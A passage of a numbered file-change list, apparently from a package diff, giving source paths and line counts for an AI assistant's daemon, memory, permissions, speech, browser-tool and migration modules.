  495. package/src/daemon/conversation-tool-setup.ts +35 -5
  496. package/src/daemon/conversation-usage.ts +8 -5
  497. package/src/daemon/conversation.ts +193 -47
  498. package/src/daemon/external-skills-bootstrap.ts +41 -0
  499. package/src/daemon/guardian-action-generators.ts +34 -14
  500. package/src/daemon/handlers/config-model.test.ts +86 -0
  501. package/src/daemon/handlers/config-model.ts +54 -12
  502. package/src/daemon/handlers/config-slack-channel.ts +269 -94
  503. package/src/daemon/handlers/conversations.ts +13 -3
  504. package/src/daemon/handlers/shared.ts +51 -1
  505. package/src/daemon/handlers/skills.ts +323 -79
  506. package/src/daemon/handlers/slack-channel-oauth-install.ts +197 -0
  507. package/src/daemon/host-browser-proxy.ts +2 -1
  508. package/src/daemon/lifecycle.ts +185 -26
  509. package/src/daemon/message-protocol.ts +6 -0
  510. package/src/daemon/message-types/conversations.ts +48 -1
  511. package/src/daemon/message-types/home.ts +40 -0
  512. package/src/daemon/message-types/meet.ts +143 -0
  513. package/src/daemon/message-types/messages.ts +23 -1
  514. package/src/daemon/message-types/schedules.ts +34 -2
  515. package/src/daemon/message-types/skills.ts +16 -0
  516. package/src/daemon/message-types/surfaces.ts +2 -0
  517. package/src/daemon/message-types/trust.ts +0 -2
  518. package/src/daemon/parse-actual-tokens-from-error.test.ts +57 -1
  519. package/src/daemon/parse-actual-tokens-from-error.ts +66 -0
  520. package/src/daemon/pkb-context-tracker.test.ts +169 -0
  521. package/src/daemon/pkb-context-tracker.ts +125 -0
  522. package/src/daemon/pkb-reminder-builder.test.ts +70 -0
  523. package/src/daemon/pkb-reminder-builder.ts +31 -0
  524. package/src/daemon/providers-setup.ts +6 -0
  525. package/src/daemon/server.ts +463 -10
  526. package/src/daemon/shutdown-handlers.ts +32 -4
  527. package/src/daemon/shutdown-registry.ts +40 -0
  528. package/src/daemon/tool-side-effects.ts +9 -9
  529. package/src/daemon/watch-handler.ts +4 -4
  530. package/src/daemon/web-search-history.ts +126 -0
  531. package/src/email/html-renderer.ts +76 -0
  532. package/src/events/domain-events.ts +0 -1
  533. package/src/filing/filing-service.ts +9 -10
  534. package/src/heartbeat/heartbeat-service.ts +156 -22
  535. package/src/home/__tests__/assistant-feed-authoring.test.ts +156 -0
  536. package/src/home/__tests__/emit-feed-event.test.ts +169 -0
  537. package/src/home/__tests__/feed-scheduler.test.ts +222 -0
  538. package/src/home/__tests__/feed-types.test.ts +275 -0
  539. package/src/home/__tests__/feed-writer.test.ts +688 -0
  540. package/src/home/__tests__/phase5-exit-criteria.test.ts +212 -0
  541. package/src/home/__tests__/platform-gmail-digest.test.ts +222 -0
  542. package/src/home/__tests__/progress-formula.test.ts +213 -0
  543. package/src/home/__tests__/relationship-state-writer.test.ts +740 -0
  544. package/src/home/__tests__/rollup-producer.test.ts +442 -0
  545. package/src/home/assistant-feed-authoring.ts +128 -0
  546. package/src/home/emit-feed-event.ts +162 -0
  547. package/src/home/feed-scheduler.ts +263 -0
  548. package/src/home/feed-types.ts +235 -0
  549. package/src/home/feed-writer.ts +469 -0
  550. package/src/home/platform-gmail-digest.ts +163 -0
  551. package/src/home/progress-formula.ts +86 -0
  552. package/src/home/relationship-state-writer.ts +824 -0
  553. package/src/home/relationship-state.ts +143 -0
  554. package/src/home/rollup-producer.ts +413 -0
  555. package/src/home/suggested-prompts.ts +101 -0
  556. package/src/hooks/runner.ts +7 -0
  557. package/src/inbound/platform-callback-registration.ts +12 -3
  558. package/src/inbound/public-ingress-urls.ts +12 -0
  559. package/src/instrument.ts +1 -1
  560. package/src/ipc/__tests__/attachment-ipc.test.ts +213 -0
  561. package/src/ipc/__tests__/browser-ipc.test.ts +339 -0
  562. package/src/ipc/__tests__/cache-ipc.test.ts +266 -0
  563. package/src/ipc/__tests__/cli-ipc.test.ts +200 -0
  564. package/src/ipc/__tests__/socket-path.test.ts +73 -0
  565. package/src/ipc/__tests__/task-ipc.test.ts +577 -0
  566. package/src/ipc/__tests__/ui-request-route.test.ts +495 -0
  567. package/src/ipc/__tests__/watcher-ipc.test.ts +295 -0
  568. package/src/ipc/cli-client.ts +152 -0
  569. package/src/ipc/cli-server.ts +252 -0
  570. package/src/ipc/gateway-client.ts +180 -0
  571. package/src/ipc/routes/attachment.ts +114 -0
  572. package/src/ipc/routes/browser-context.ts +61 -0
  573. package/src/ipc/routes/browser.ts +96 -0
  574. package/src/ipc/routes/cache.ts +96 -0
  575. package/src/ipc/routes/index.ts +21 -0
  576. package/src/ipc/routes/task-queue.ts +226 -0
  577. package/src/ipc/routes/task.ts +173 -0
  578. package/src/ipc/routes/ui-request.ts +50 -0
  579. package/src/ipc/routes/wake-conversation.ts +19 -0
  580. package/src/ipc/routes/watcher.ts +203 -0
  581. package/src/ipc/socket-path.ts +100 -0
  582. package/src/memory/__tests__/auto-analysis-enqueue.test.ts +356 -0
  583. package/src/memory/__tests__/auto-analysis-guard.test.ts +57 -0
  584. package/src/memory/__tests__/conversation-analyze-job.test.ts +233 -0
  585. package/src/memory/__tests__/conversation-group-migration.test.ts +99 -0
  586. package/src/memory/__tests__/find-analysis-conversation.test.ts +196 -0
  587. package/src/memory/admin.ts +18 -0
  588. package/src/memory/app-store.ts +1 -1
  589. package/src/memory/attachments-store.ts +70 -0
  590. package/src/memory/auto-analysis-enqueue.ts +127 -0
  591. package/src/memory/auto-analysis-guard.ts +27 -0
  592. package/src/memory/cleanup-schedule-state.ts +37 -0
  593. package/src/memory/conversation-analyze-job.ts +74 -0
  594. package/src/memory/conversation-attention-store.ts +13 -6
  595. package/src/memory/conversation-crud.ts +199 -0
  596. package/src/memory/conversation-disk-view.ts +7 -0
  597. package/src/memory/conversation-group-migration.ts +65 -1
  598. package/src/memory/conversation-queries.ts +6 -5
  599. package/src/memory/conversation-title-service.ts +7 -4
  600. package/src/memory/db-init.ts +8 -0
  601. package/src/memory/db-maintenance.ts +108 -0
  602. package/src/memory/db.ts +1 -0
  603. package/src/memory/embedding-backend.ts +1 -1
  604. package/src/memory/graph/compaction.ts +299 -0
  605. package/src/memory/graph/consolidation.ts +4 -4
  606. package/src/memory/graph/conversation-graph-memory.ts +104 -29
  607. package/src/memory/graph/extraction.test.ts +295 -2
  608. package/src/memory/graph/extraction.ts +181 -51
  609. package/src/memory/graph/graph-search.test.ts +92 -0
  610. package/src/memory/graph/graph-search.ts +4 -1
  611. package/src/memory/graph/narrative.ts +2 -2
  612. package/src/memory/graph/pattern-scan.ts +2 -2
  613. package/src/memory/graph/retriever.test.ts +459 -0
  614. package/src/memory/graph/retriever.ts +257 -66
  615. package/src/memory/graph/scoring.test.ts +186 -0
  616. package/src/memory/graph/scoring.ts +31 -1
  617. package/src/memory/graph/store.ts +41 -0
  618. package/src/memory/graph/tool-handlers.ts +27 -0
  619. package/src/memory/graph/tools.ts +6 -1
  620. package/src/memory/group-crud.ts +6 -1
  621. package/src/memory/indexer.ts +95 -16
  622. package/src/memory/job-handlers/cleanup.ts +11 -8
  623. package/src/memory/job-handlers/conversation-starters.ts +39 -30
  624. package/src/memory/job-handlers/summarization.ts +2 -2
  625. package/src/memory/job-utils.ts +7 -1
  626. package/src/memory/jobs/embed-pkb-file.test.ts +168 -0
  627. package/src/memory/jobs/embed-pkb-file.ts +54 -0
  628. package/src/memory/jobs-store.ts +106 -5
  629. package/src/memory/jobs-worker.ts +26 -9
  630. package/src/memory/llm-usage-store.ts +92 -56
  631. package/src/memory/migrations/140-backfill-usage-cache-accounting.ts +1 -1
  632. package/src/memory/migrations/219-oauth-providers-token-exchange-body-format.ts +15 -0
  633. package/src/memory/migrations/220-normalize-user-file-by-principal.ts +190 -0
  634. package/src/memory/migrations/221-conversations-archived-at.ts +16 -0
  635. package/src/memory/migrations/222-strip-placeholder-sentinels-from-messages.ts +82 -0
  636. package/src/memory/migrations/index.ts +7 -0
  637. package/src/memory/migrations/registry.ts +8 -0
  638. package/src/memory/pkb/pkb-index.test.ts +368 -0
  639. package/src/memory/pkb/pkb-index.ts +255 -0
  640. package/src/memory/pkb/pkb-reconcile.test.ts +251 -0
  641. package/src/memory/pkb/pkb-reconcile.ts +148 -0
  642. package/src/memory/pkb/pkb-search.test.ts +438 -0
  643. package/src/memory/pkb/pkb-search.ts +137 -0
  644. package/src/memory/pkb/types.ts +53 -0
  645. package/src/memory/qdrant-client.ts +122 -1
  646. package/src/memory/qdrant-manager.ts +43 -16
  647. package/src/memory/schema/conversations.ts +2 -0
  648. package/src/memory/schema/oauth.ts +3 -0
  649. package/src/memory/slack-thread-store.ts +37 -0
  650. package/src/memory/usage-buckets.ts +396 -0
  651. package/src/messaging/providers/gmail/adapter.ts +6 -16
  652. package/src/messaging/providers/gmail/client.ts +79 -6
  653. package/src/messaging/providers/gmail/types.ts +7 -0
  654. package/src/messaging/providers/slack/__tests__/adapter-token-routing.test.ts +282 -0
  655. package/src/messaging/providers/slack/adapter.ts +155 -38
  656. package/src/messaging/providers/slack/backfill.test.ts +257 -0
  657. package/src/messaging/providers/slack/backfill.ts +101 -0
  658. package/src/messaging/providers/slack/client.ts +16 -0
  659. package/src/messaging/providers/slack/message-metadata.test.ts +316 -0
  660. package/src/messaging/providers/slack/message-metadata.ts +123 -0
  661. package/src/messaging/providers/slack/render-transcript.test.ts +1373 -0
  662. package/src/messaging/providers/slack/render-transcript.ts +443 -0
  663. package/src/messaging/providers/slack/types.ts +4 -0
  664. package/src/messaging/style-analyzer.ts +5 -2
  665. package/src/notifications/README.md +9 -5
  666. package/src/notifications/decision-engine.ts +6 -12
  667. package/src/notifications/preference-extractor.ts +2 -6
  668. package/src/notifications/signal.ts +5 -0
  669. package/src/oauth/__tests__/identity-verifier.test.ts +1 -0
  670. package/src/oauth/byo-connection.test.ts +18 -1
  671. package/src/oauth/byo-connection.ts +3 -1
  672. package/src/oauth/connect-orchestrator.ts +2 -0
  673. package/src/oauth/connection-resolver.ts +6 -2
  674. package/src/oauth/connection.ts +2 -0
  675. package/src/oauth/oauth-store.ts +10 -0
  676. package/src/oauth/platform-connection.test.ts +145 -0
  677. package/src/oauth/platform-connection.ts +62 -31
  678. package/src/oauth/seed-providers.ts +10 -1
  679. package/src/permissions/approval-policy.test.ts +948 -0
  680. package/src/permissions/approval-policy.ts +257 -0
  681. package/src/permissions/bash-risk-classifier.test.ts +1208 -0
  682. package/src/permissions/bash-risk-classifier.ts +707 -0
  683. package/src/permissions/checker.ts +218 -699
  684. package/src/permissions/command-registry.test.ts +535 -0
  685. package/src/permissions/command-registry.ts +825 -0
  686. package/src/permissions/defaults.ts +71 -75
  687. package/src/permissions/file-risk-classifier.test.ts +535 -0
  688. package/src/permissions/file-risk-classifier.ts +274 -0
  689. package/src/permissions/risk-types.ts +205 -0
  690. package/src/permissions/secret-prompter.ts +53 -2
  691. package/src/permissions/skill-risk-classifier.test.ts +311 -0
  692. package/src/permissions/skill-risk-classifier.ts +214 -0
  693. package/src/permissions/trust-client.ts +52 -25
  694. package/src/permissions/trust-store-interface.ts +1 -6
  695. package/src/permissions/trust-store.ts +164 -65
  696. package/src/permissions/types.ts +23 -14
  697. package/src/permissions/web-risk-classifier.test.ts +170 -0
  698. package/src/permissions/web-risk-classifier.ts +89 -0
  699. package/src/permissions/workspace-policy.ts +1 -13
  700. package/src/platform/client.test.ts +10 -0
  701. package/src/platform/client.ts +19 -1
  702. package/src/platform/sync-identity.ts +129 -0
  703. package/src/prompts/persona-resolver.ts +127 -3
  704. package/src/prompts/system-prompt.ts +78 -38
  705. package/src/prompts/templates/BOOTSTRAP.md +5 -5
  706. package/src/prompts/templates/SOUL.md +5 -3
  707. package/src/prompts/templates/channels/slack.md +20 -0
  708. package/src/prompts/update-bulletin-job.ts +190 -0
  709. package/src/prompts/user-reference.ts +20 -17
  710. package/src/providers/__tests__/context-overflow-error.test.ts +328 -0
  711. package/src/providers/__tests__/provider-env-vars.test.ts +102 -0
  712. package/src/providers/__tests__/provider-secret-catalog.test.ts +42 -0
  713. package/src/providers/__tests__/retry-callsite.test.ts +424 -0
  714. package/src/providers/anthropic/client.ts +335 -70
  715. package/src/providers/call-site-routing.ts +71 -0
  716. package/src/providers/fireworks/client.ts +2 -2
  717. package/src/providers/gemini/client.ts +74 -3
  718. package/src/providers/managed-proxy/constants.ts +2 -1
  719. package/src/providers/model-catalog.ts +502 -28
  720. package/src/providers/model-intents.ts +8 -8
  721. package/src/providers/ollama/client.ts +2 -2
  722. package/src/providers/openai/chat-completions-provider.ts +530 -0
  723. package/src/providers/openai/client.ts +25 -440
  724. package/src/providers/openai/responses-provider.ts +579 -0
  725. package/src/providers/openrouter/client.ts +168 -4
  726. package/src/providers/provider-env-vars.ts +56 -0
  727. package/src/providers/provider-secret-catalog.ts +139 -0
  728. package/src/providers/provider-send-message.ts +22 -5
  729. package/src/providers/ratelimit.ts +4 -0
  730. package/src/providers/registry.ts +21 -10
  731. package/src/providers/retry.ts +185 -39
  732. package/src/providers/speech-to-text/__tests__/provider-catalog.test.ts +251 -0
  733. package/src/providers/speech-to-text/__tests__/resolve.test.ts +883 -0
  734. package/src/providers/speech-to-text/deepgram-realtime.test.ts +980 -0
  735. package/src/providers/speech-to-text/deepgram-realtime.ts +767 -0
  736. package/src/providers/speech-to-text/deepgram.test.ts +332 -0
  737. package/src/providers/speech-to-text/deepgram.ts +115 -0
  738. package/src/providers/speech-to-text/google-gemini-live-stream.test.ts +743 -0
  739. package/src/providers/speech-to-text/google-gemini-live-stream.ts +625 -0
  740. package/src/providers/speech-to-text/google-gemini.test.ts +226 -0
  741. package/src/providers/speech-to-text/google-gemini.ts +101 -0
  742. package/src/providers/speech-to-text/openai-whisper-stream.test.ts +564 -0
  743. package/src/providers/speech-to-text/openai-whisper-stream.ts +381 -0
  744. package/src/providers/speech-to-text/openai-whisper.test.ts +1 -37
  745. package/src/providers/speech-to-text/openai-whisper.ts +63 -33
  746. package/src/providers/speech-to-text/provider-catalog.ts +323 -0
  747. package/src/providers/speech-to-text/resolve.ts +393 -6
  748. package/src/providers/speech-to-text/xai-realtime.test.ts +578 -0
  749. package/src/providers/speech-to-text/xai-realtime.ts +796 -0
  750. package/src/providers/speech-to-text/xai.test.ts +155 -0
  751. package/src/providers/speech-to-text/xai.ts +97 -0
  752. package/src/providers/types.ts +102 -3
  753. package/src/runtime/AGENTS.md +45 -3
  754. package/src/runtime/__tests__/agent-wake.test.ts +872 -0
  755. package/src/runtime/__tests__/interactive-ui.test.ts +673 -0
  756. package/src/runtime/__tests__/runtime-mode.test.ts +62 -0
  757. package/src/runtime/__tests__/slack-block-formatting.test.ts +481 -0
  758. package/src/runtime/agent-wake.ts +553 -0
  759. package/src/runtime/auth/__tests__/route-policy.test.ts +40 -0
  760. package/src/runtime/auth/route-policy.ts +34 -5
  761. package/src/runtime/auth/token-service.ts +56 -1
  762. package/src/runtime/btw-sidechain.ts +15 -3
  763. package/src/runtime/capability-tokens.ts +10 -10
  764. package/src/runtime/channel-invite-transport.ts +1 -1
  765. package/src/runtime/channel-invite-transports/email.ts +14 -6
  766. package/src/runtime/channel-readiness-service.ts +12 -22
  767. package/src/runtime/channel-reply-delivery.ts +106 -2
  768. package/src/runtime/chrome-extension-registry.ts +38 -2
  769. package/src/runtime/decision-token.ts +116 -0
  770. package/src/runtime/gateway-client.ts +2 -2
  771. package/src/runtime/http-router.ts +32 -0
  772. package/src/runtime/http-server.ts +447 -11
  773. package/src/runtime/http-types.ts +29 -3
  774. package/src/runtime/interactive-ui.ts +362 -0
  775. package/src/runtime/invite-instruction-generator.ts +2 -2
  776. package/src/runtime/migrations/__tests__/gcs-signed-url.test.ts +176 -0
  777. package/src/runtime/migrations/__tests__/vbundle-import-credentials.test.ts +36 -0
  778. package/src/runtime/migrations/__tests__/vbundle-legacy-user-md.test.ts +360 -0
  779. package/src/runtime/migrations/__tests__/vbundle-metadata-merge-integration.test.ts +390 -0
  780. package/src/runtime/migrations/__tests__/vbundle-metadata-merge.test.ts +221 -0
  781. package/src/runtime/migrations/__tests__/vbundle-streaming-importer.test.ts +1540 -0
  782. package/src/runtime/migrations/__tests__/vbundle-streaming-validator.test.ts +453 -0
  783. package/src/runtime/migrations/__tests__/vbundle-tar-stream.test.ts +222 -0
  784. package/src/runtime/migrations/gcs-signed-url.ts +162 -0
  785. package/src/runtime/migrations/migration-transport.ts +1 -0
  786. package/src/runtime/migrations/migration-wizard.ts +1 -0
  787. package/src/runtime/migrations/vbundle-import-analyzer.ts +77 -1
  788. package/src/runtime/migrations/vbundle-importer.ts +187 -8
  789. package/src/runtime/migrations/vbundle-metadata-merge.ts +124 -0
  790. package/src/runtime/migrations/vbundle-streaming-importer.ts +2522 -0
  791. package/src/runtime/migrations/vbundle-streaming-validator.ts +244 -0
  792. package/src/runtime/migrations/vbundle-tar-stream.ts +217 -0
  793. package/src/runtime/migrations/vbundle-validator.ts +15 -6
  794. package/src/runtime/pending-interactions.ts +0 -11
  795. package/src/runtime/routes/__tests__/backup-routes.test.ts +967 -0
  796. package/src/runtime/routes/__tests__/home-feed-routes.test.ts +618 -0
  797. package/src/runtime/routes/__tests__/migration-import-credential-filter.test.ts +247 -0
  798. package/src/runtime/routes/__tests__/migration-vellum-metadata-reconcile.test.ts +246 -0
  799. package/src/runtime/routes/__tests__/stt-routes.test.ts +406 -0
  800. package/src/runtime/routes/__tests__/tts-routes.test.ts +474 -0
  801. package/src/runtime/routes/__tests__/user-route-dispatcher.test.ts +148 -17
  802. package/src/runtime/routes/app-management-routes.ts +12 -18
  803. package/src/runtime/routes/approval-prompt-ts-tracker.ts +58 -0
  804. package/src/runtime/routes/approval-routes.ts +12 -17
  805. package/src/runtime/routes/approval-strategies/guardian-callback-strategy.ts +9 -0
  806. package/src/runtime/routes/attachment-routes.test.ts +9 -3
  807. package/src/runtime/routes/attachment-routes.ts +216 -17
  808. package/src/runtime/routes/avatar-routes.ts +20 -4
  809. package/src/runtime/routes/backup-routes.ts +519 -0
  810. package/src/runtime/routes/browser-extension-pair-routes.ts +82 -23
  811. package/src/runtime/routes/btw-routes.ts +9 -10
  812. package/src/runtime/routes/contact-routes.test.ts +298 -0
  813. package/src/runtime/routes/contact-routes.ts +132 -5
  814. package/src/runtime/routes/conversation-analysis-routes.ts +22 -142
  815. package/src/runtime/routes/conversation-management-routes.ts +133 -0
  816. package/src/runtime/routes/conversation-routes.ts +487 -160
  817. package/src/runtime/routes/debug-routes.ts +1 -1
  818. package/src/runtime/routes/diagnostics-routes.ts +6 -4
  819. package/src/runtime/routes/events-routes.ts +16 -0
  820. package/src/runtime/routes/filing-routes.ts +93 -0
  821. package/src/runtime/routes/guardian-approval-interception.ts +33 -3
  822. package/src/runtime/routes/guardian-approval-prompt.ts +13 -3
  823. package/src/runtime/routes/home-feed-routes.ts +452 -0
  824. package/src/runtime/routes/home-state-routes.ts +138 -0
  825. package/src/runtime/routes/host-browser-routes.ts +3 -14
  826. package/src/runtime/routes/identity-intro-cache.ts +7 -3
  827. package/src/runtime/routes/identity-routes.ts +3 -17
  828. package/src/runtime/routes/inbound-message-handler.ts +912 -2
  829. package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +113 -2
  830. package/src/runtime/routes/inbound-stages/background-dispatch.ts +61 -3
  831. package/src/runtime/routes/inbound-stages/edit-intercept.ts +129 -6
  832. package/src/runtime/routes/inbound-stages/transcribe-audio.test.ts +46 -39
  833. package/src/runtime/routes/inbound-stages/transcribe-audio.ts +15 -15
  834. package/src/runtime/routes/integrations/slack/__tests__/channel.test.ts +137 -0
  835. package/src/runtime/routes/integrations/slack/__tests__/share.test.ts +179 -0
  836. package/src/runtime/routes/integrations/slack/channel.ts +36 -6
  837. package/src/runtime/routes/integrations/slack/share.ts +45 -7
  838. package/src/runtime/routes/llm-context-normalization.ts +325 -0
  839. package/src/runtime/routes/memory-item-routes.test.ts +3 -2
  840. package/src/runtime/routes/migration-routes.ts +722 -91
  841. package/src/runtime/routes/settings-routes.ts +26 -7
  842. package/src/runtime/routes/skills-routes.ts +76 -7
  843. package/src/runtime/routes/stt-routes.ts +233 -0
  844. package/src/runtime/routes/surface-action-routes.ts +41 -2
  845. package/src/runtime/routes/trust-rules-routes.ts +30 -14
  846. package/src/runtime/routes/tts-routes.ts +108 -24
  847. package/src/runtime/routes/usage-routes.ts +30 -2
  848. package/src/runtime/routes/user-route-dispatcher.ts +50 -5
  849. package/src/runtime/routes/user-routes.ts +13 -1
  850. package/src/runtime/routes/work-items-routes.test.ts +1 -1
  851. package/src/runtime/routes/work-items-routes.ts +11 -3
  852. package/src/runtime/runtime-mode.ts +33 -0
  853. package/src/runtime/services/__tests__/analyze-conversation.test.ts +426 -0
  854. package/src/runtime/services/__tests__/analyze-deps-singleton.test.ts +67 -0
  855. package/src/runtime/services/__tests__/auto-analysis-prompt.test.ts +53 -0
  856. package/src/runtime/services/__tests__/manual-analysis-prompt.test.ts +41 -0
  857. package/src/runtime/services/analyze-conversation.ts +340 -0
  858. package/src/runtime/services/analyze-deps-singleton.ts +32 -0
  859. package/src/runtime/services/auto-analysis-prompt.ts +55 -0
  860. package/src/runtime/skill-route-registry.ts +71 -0
  861. package/src/runtime/slack-block-formatting.ts +437 -10
  862. package/src/schedule/scheduler.ts +58 -0
  863. package/src/security/__tests__/provider-key-env-fallback.test.ts +119 -0
  864. package/src/security/__tests__/untrusted-content.test.ts +109 -0
  865. package/src/security/oauth2.ts +122 -37
  866. package/src/security/secure-keys.ts +32 -10
  867. package/src/security/token-manager.ts +35 -13
  868. package/src/security/untrusted-content.ts +102 -0
  869. package/src/sequence/engine.ts +23 -0
  870. package/src/sequence/types.ts +1 -1
  871. package/src/skills/catalog-cache.ts +26 -7
  872. package/src/skills/catalog-files.ts +64 -2
  873. package/src/skills/catalog-install.ts +31 -3
  874. package/src/skills/category-inference.ts +122 -0
  875. package/src/skills/clawhub-files.ts +213 -0
  876. package/src/skills/clawhub.ts +84 -23
  877. package/src/skills/skill-cache-store.ts +97 -0
  878. package/src/skills/skill-file-provider.ts +40 -0
  879. package/src/skills/skillssh-files.ts +395 -0
  880. package/src/skills/skillssh-registry.ts +4 -4
  881. package/src/stt/__tests__/daemon-batch-transcriber.test.ts +468 -0
  882. package/src/stt/__tests__/types.test.ts +89 -0
  883. package/src/stt/daemon-batch-transcriber.ts +228 -0
  884. package/src/stt/stt-stream-session.ts +506 -0
  885. package/src/stt/types.ts +334 -0
  886. package/src/stt/wav-encoder.test.ts +373 -0
  887. package/src/stt/wav-encoder.ts +175 -0
  888. package/src/subagent/manager.ts +79 -27
  889. package/src/tasks/ephemeral-permissions.ts +9 -4
  890. package/src/telemetry/usage-telemetry-reporter.ts +27 -5
  891. package/src/tools/browser/__tests__/browser-mode.test.ts +119 -0
  892. package/src/tools/browser/__tests__/browser-status.test.ts +166 -0
  893. package/src/tools/browser/browser-execution.ts +1208 -41
  894. package/src/tools/browser/browser-manager.ts +45 -0
  895. package/src/tools/browser/browser-mode-constants.ts +12 -0
  896. package/src/tools/browser/browser-mode.ts +92 -0
  897. package/src/tools/browser/browser-status-constants.ts +33 -0
  898. package/src/tools/browser/cdp-client/__tests__/cdp-inspect-client.test.ts +393 -0
  899. package/src/tools/browser/cdp-client/__tests__/extension-cdp-client.test.ts +29 -0
  900. package/src/tools/browser/cdp-client/__tests__/factory.test.ts +1648 -32
  901. package/src/tools/browser/cdp-client/cdp-inspect/__tests__/discovery.test.ts +264 -0
  902. package/src/tools/browser/cdp-client/cdp-inspect/discovery.ts +205 -17
  903. package/src/tools/browser/cdp-client/cdp-inspect-client.ts +254 -21
  904. package/src/tools/browser/cdp-client/errors.ts +15 -0
  905. package/src/tools/browser/cdp-client/extension-cdp-client.ts +39 -16
  906. package/src/tools/browser/cdp-client/factory.ts +797 -87
  907. package/src/tools/browser/cdp-client/index.ts +16 -2
  908. package/src/tools/browser/cdp-client/types.ts +68 -0
  909. package/src/tools/credentials/tool-policy.ts +39 -5
  910. package/src/tools/credentials/vault.ts +41 -7
  911. package/src/tools/executor.ts +4 -0
  912. package/src/tools/filesystem/write.ts +52 -0
  913. package/src/tools/host-terminal/host-shell.ts +45 -5
  914. package/src/tools/memory/register.test.ts +185 -0
  915. package/src/tools/memory/register.ts +3 -1
  916. package/src/tools/network/web-fetch.ts +25 -12
  917. package/src/tools/network/web-search.ts +20 -2
  918. package/src/tools/permission-checker.ts +36 -15
  919. package/src/tools/policy-context.ts +25 -8
  920. package/src/tools/registry.ts +55 -3
  921. package/src/tools/shared/shell-output.ts +3 -1
  922. package/src/tools/side-effects.ts +0 -9
  923. package/src/tools/skills/execute.ts +2 -2
  924. package/src/tools/skills/sandbox-runner.ts +6 -2
  925. package/src/tools/terminal/backends/native.ts +51 -2
  926. package/src/tools/terminal/safe-env.ts +11 -2
  927. package/src/tools/terminal/shell.ts +16 -4
  928. package/src/tools/tool-manifest.ts +6 -0
  929. package/src/tools/types.ts +29 -3
  930. package/src/tools/ui-surface/definitions.ts +6 -1
  931. package/src/tools/verification-control-plane-policy.ts +1 -1
  932. package/src/tts/__tests__/provider-adapters.test.ts +1061 -0
  933. package/src/tts/__tests__/provider-catalog-consistency.test.ts +196 -0
  934. package/src/tts/__tests__/provider-catalog.test.ts +183 -0
  935. package/src/tts/__tests__/provider-registry.test.ts +90 -0
  936. package/src/tts/provider-catalog.ts +219 -0
  937. package/src/tts/provider-registry.ts +73 -0
  938. package/src/tts/providers/deepgram-provider.ts +219 -0
  939. package/src/tts/providers/elevenlabs-provider.ts +211 -0
  940. package/src/tts/providers/fish-audio-provider.ts +183 -0
  941. package/src/tts/providers/index.ts +44 -0
  942. package/src/tts/providers/register-builtins.ts +130 -0
  943. package/src/tts/providers/xai-provider.ts +224 -0
  944. package/src/tts/synthesize-text.ts +110 -0
  945. package/src/tts/tts-config-resolver.ts +78 -0
  946. package/src/tts/types.ts +199 -0
  947. package/src/types/onboarding-context.ts +7 -0
  948. package/src/types/tar-stream.d.ts +66 -0
  949. package/src/util/abort-reasons.ts +58 -0
  950. package/src/util/device-id.ts +32 -16
  951. package/src/util/errors.ts +9 -1
  952. package/src/util/json.ts +17 -0
  953. package/src/util/platform.ts +56 -12
  954. package/src/util/pricing.ts +78 -5
  955. package/src/util/spawn.ts +1 -1
  956. package/src/util/truncate.ts +4 -2
  957. package/src/util/unicode.ts +201 -0
  958. package/src/version.ts +19 -24
  959. package/src/watcher/engine.ts +24 -1
  960. package/src/watcher/providers/google-calendar.ts +134 -8
  961. package/src/watcher/providers/outlook-calendar.ts +42 -2
  962. package/src/watcher/watcher-store.ts +31 -0
  963. package/src/workspace/git-service.ts +23 -4
  964. package/src/workspace/migrations/003-seed-device-id.ts +9 -3
  965. package/src/workspace/migrations/017-seed-persona-dirs.ts +68 -4
  966. package/src/workspace/migrations/029-seed-pkb.ts +1 -1
  967. package/src/workspace/migrations/031-drop-user-md.ts +317 -0
  968. package/src/workspace/migrations/031-llm-log-retention-zero-to-null.ts +73 -0
  969. package/src/workspace/migrations/032-tts-provider-unification.ts +227 -0
  970. package/src/workspace/migrations/033-stt-service-explicit-config.ts +122 -0
  971. package/src/workspace/migrations/034-remove-calls-voice-transcription-provider.ts +215 -0
  972. package/src/workspace/migrations/035-seed-slack-channel-persona.ts +50 -0
  973. package/src/workspace/migrations/036-update-pkb-index-bar.ts +37 -0
  974. package/src/workspace/migrations/037-create-meets-dir.ts +61 -0
  975. package/src/workspace/migrations/038-unify-llm-callsite-configs.ts +516 -0
  976. package/src/workspace/migrations/039-drop-legacy-llm-keys.ts +171 -0
  977. package/src/workspace/migrations/040-seed-latency-callsite-defaults.ts +154 -0
  978. package/src/workspace/migrations/041-backfill-google-gmail-settings-scope.ts +57 -0
  979. package/src/workspace/migrations/042-fix-backfill-google-gmail-settings-scope.ts +70 -0
  980. package/src/workspace/migrations/043-release-notes-latex-rendering.ts +75 -0
  981. package/src/workspace/migrations/044-bump-stale-provider-stream-timeout.ts +51 -0
  982. package/src/workspace/migrations/045-release-notes-meet-avatar.ts +130 -0
  983. package/src/workspace/migrations/AGENTS.md +1 -1
  984. package/src/workspace/migrations/registry.ts +32 -0
  985. package/src/workspace/provider-commit-message-generator.ts +19 -38
  986. package/src/workspace/top-level-renderer.ts +13 -1
  987. package/src/workspace/turn-commit.ts +31 -0
  988. package/src/__tests__/email-cli.test.ts +0 -297
  989. package/src/__tests__/email-service-config-fallback.test.ts +0 -102
  990. package/src/__tests__/outlook-attachments.test.ts +0 -301
  991. package/src/__tests__/outlook-automation-tools.test.ts +0 -425
  992. package/src/__tests__/outlook-categories.test.ts +0 -212
  993. package/src/__tests__/outlook-compose-tools.test.ts +0 -325
  994. package/src/__tests__/outlook-declutter-tools.test.ts +0 -585
  995. package/src/__tests__/outlook-follow-up.test.ts +0 -196
  996. package/src/__tests__/outlook-trash.test.ts +0 -77
  997. package/src/__tests__/outlook-unsubscribe.test.ts +0 -250
  998. package/src/__tests__/update-bulletin-format.test.ts +0 -122
  999. package/src/__tests__/update-bulletin-state.test.ts +0 -135
  1000. package/src/__tests__/update-bulletin.test.ts +0 -277
  1001. package/src/__tests__/update-template-contract.test.ts +0 -29
  1002. package/src/cli/commands/browser-relay.ts +0 -466
  1003. package/src/cli/commands/doctor.ts +0 -341
  1004. package/src/config/bundled-skills/browser/SKILL.md +0 -63
  1005. package/src/config/bundled-skills/browser/TOOLS.json +0 -393
  1006. package/src/config/bundled-skills/browser/tools/browser-click.ts +0 -12
  1007. package/src/config/bundled-skills/browser/tools/browser-close.ts +0 -12
  1008. package/src/config/bundled-skills/browser/tools/browser-extract.ts +0 -12
  1009. package/src/config/bundled-skills/browser/tools/browser-fill-credential.ts +0 -12
  1010. package/src/config/bundled-skills/browser/tools/browser-hover.ts +0 -12
